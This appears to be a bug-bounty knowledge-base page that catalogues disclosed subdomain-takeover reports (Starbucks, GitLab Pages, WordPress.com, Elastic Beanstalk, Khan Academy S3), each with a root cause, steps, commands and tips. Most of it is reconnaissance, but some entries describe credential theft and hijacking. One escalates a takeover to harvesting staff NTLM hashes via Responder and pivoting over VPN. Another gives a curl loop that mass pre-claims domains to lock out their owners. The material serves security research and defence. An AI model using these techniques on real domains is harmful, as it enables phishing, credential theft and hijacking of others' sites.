Specimen #380158 · starbucks · awarded · 39 votes · resolved
Program starbucksSurface webChain Subdomain takeover -> lure staff -> UNC/Responder NTLMTag subdomain-takeoverTag cloud-aws

Root cause

A DNS record (CNAME/A) still points to a deprovisioned cloud resource (Azure cloudapp/trafficmanager, AWS S3, Wix, Squarespace). Anyone can claim that resource name and serve content on the victim subdomain.

Method

  1. Enumerate subdomains (subfinder) and resolve them; flag NXDOMAIN/404 'not claimed' provider pages.
  2. Identify the provider from the CNAME chain (dig) or the takeover message.
  3. Claim the resource on that provider (register the S3 bucket / Wix or Squarespace domain / Azure resource) and host a PoC page.
  4. Escalate: host content that fetches a UNC path image to capture visiting staff NTLM hashes (Responder), then crack and pivot via VPN.
dig A svcardproxydevus.starbucks.com @8.8.8.8 # CNAME -> ...trafficmanager.net -> ...eastus.cloudapp.azure.com = Dead # then claim the dangling cloud resource and host content

Insight — Automate dangling-CNAME detection (subfinder + tko-subs / nuclei takeover templates) and learn each provider's 'unclaimed' fingerprint: S3 'NoSuchBucket', Azure trafficmanager/cloudapp dead, Wix/Squarespace 'domain not claimed'. Escalate beyond phishing by luring staff to the controlled subdomain and harvesting NTLM hashes via UNC-path resources.

Real-world example

Mass domain hijack: unlimited custom domains + provider-IP monitoring

◆ High
Specimen #312118 · gitlab · USD 750 · 39 votes · resolved
Program gitlabSurface webChain missing domain-ownership proof -> mass pre-claim -> taTag subdomain-takeover

Root cause

GitLab Pages allowed adding an unlimited number of custom domains to one repo and stored a domain even before it pointed to GitLab's IP. Continuously harvesting domains that resolve to the provider IP and pre-registering them means any domain pointing to the IP is instantly hijacked (and the real owner is locked out).

Method

  1. Enumerate domains resolving to the provider IP (e.g. via SecurityTrails reverse-IP)
  2. Filter those showing the provider's unclaimed/unverified error page
  3. Bulk-POST each to your repo's pages/domains endpoint (no ownership proof required)
  4. Re-run on a loop to claim domains the moment they point at the IP
gron 'https://.../api/search/by_type/ip/52.167.214.135' | grep domain > list while read d; do curl -s 'https://gitlab.com/<you>/<repo>/pages/domains' --data "pages_domain[domain]=$d"; done < list

Insight — Whenever a platform lets you attach arbitrary custom domains without a per-domain TXT/CNAME ownership proof, it becomes a mass-takeover primitive. Reverse-IP the provider's shared ingress, pre-claim, and race legitimate owners. Mitigation to recognize as non-exploitable: TXT-record verification or single-domain-per-repo.

Real-world example

Subdomain takeover via unclaimed WordPress.com mapping

◆ High
Specimen #173681 · enter · USD 513 · 35 votes · resolved
Program enterSurface webTag subdomain-takeover

Root cause

A subdomain CNAME'd to wordpress.com was never mapped/claimed there; the error page invited anyone to map it, so an attacker paid to map it and took control.

Method

  1. Find blog.TARGET.com pointing at wordpress.com showing 'domain not mapped'
  2. Create a wordpress.com account
  3. Pay the domain-mapping fee to map blog.TARGET.com to your site
  4. Serve arbitrary content on the trusted subdomain
dig CNAME blog.TARGET.com # -> *.wordpress.com with 'not mapped' error page = claimable

Insight — Any dangling CNAME to a SaaS that lets a stranger claim the hostname is a takeover. Fingerprint the 'unclaimed' error page of each provider (WordPress, GitHub Pages, Heroku, etc.).

Real-world example

Persistent XSS via dangling <script src> to takeover-able subdomain

◆ High
Specimen #188972 · starbucks · awarded · 35 votes · resolved
Program starbucksSurface webChain subdomain/service takeover -> persistent XSS on main siteTag subdomain-takeoverTag cloud-aws

Root cause

A production page loads JavaScript from a subdomain (starbucksmacchiato-prod.elasticbeanstalk.com) whose backing Elastic Beanstalk environment no longer exists, so anyone can register that environment and serve arbitrary JS to every visitor.

Method

  1. Enumerate external script/asset hosts referenced by the target's pages
  2. Check each host for a dangling DNS/service pointer (NXDOMAIN, unclaimed EB/Heroku/S3/GitHub Pages)
  3. Claim the environment name and host JS to get persistent XSS on the parent page
# vulnerable reference on the page: //starbucksmacchiato-prod.elasticbeanstalk.com/scripts/bn-v1.0.0-Release-min.js # attacker registers the elasticbeanstalk environment and serves malicious JS

Insight — Grep target pages for third-party/self-hosted script src hosts, then resolve each; a dangling cloud-service CNAME that loads JS is a persistent, no-interaction XSS, strictly worse than a takeover that only serves HTML.

Real-world example

S3 bucket subdomain takeover

◆ High
Specimen #1777077 · khanacademy · none · 34 votes · resolved
Program khanacademySurface cloudChain Takeover -> cookie theft/phishing/CSP & CORS bypass fTag subdomain-takeoverTag cloud-aws

Root cause

A subdomain CNAME/points to Amazon S3 for a bucket name that is no longer registered, so anyone can create the bucket and serve arbitrary content on the trusted subdomain.

Method

  1. Enumerate subdomains and resolve their targets
  2. Find one pointing to S3 that returns NoSuchBucket
  3. Create an S3 bucket with the exact hostname and upload content
curl -k http://learn2.khanacademy.org/ # NoSuchBucket -> register bucket named 'learn2.khanacademy.org' -> serve PoC

Insight — Dangling DNS to S3/GitHub Pages/Heroku/etc. = takeover. Fingerprint the provider error (NoSuchBucket, 'There isn't a GitHub Pages site here') and claim the resource.

§References & practice

  1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
  2. All 121 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.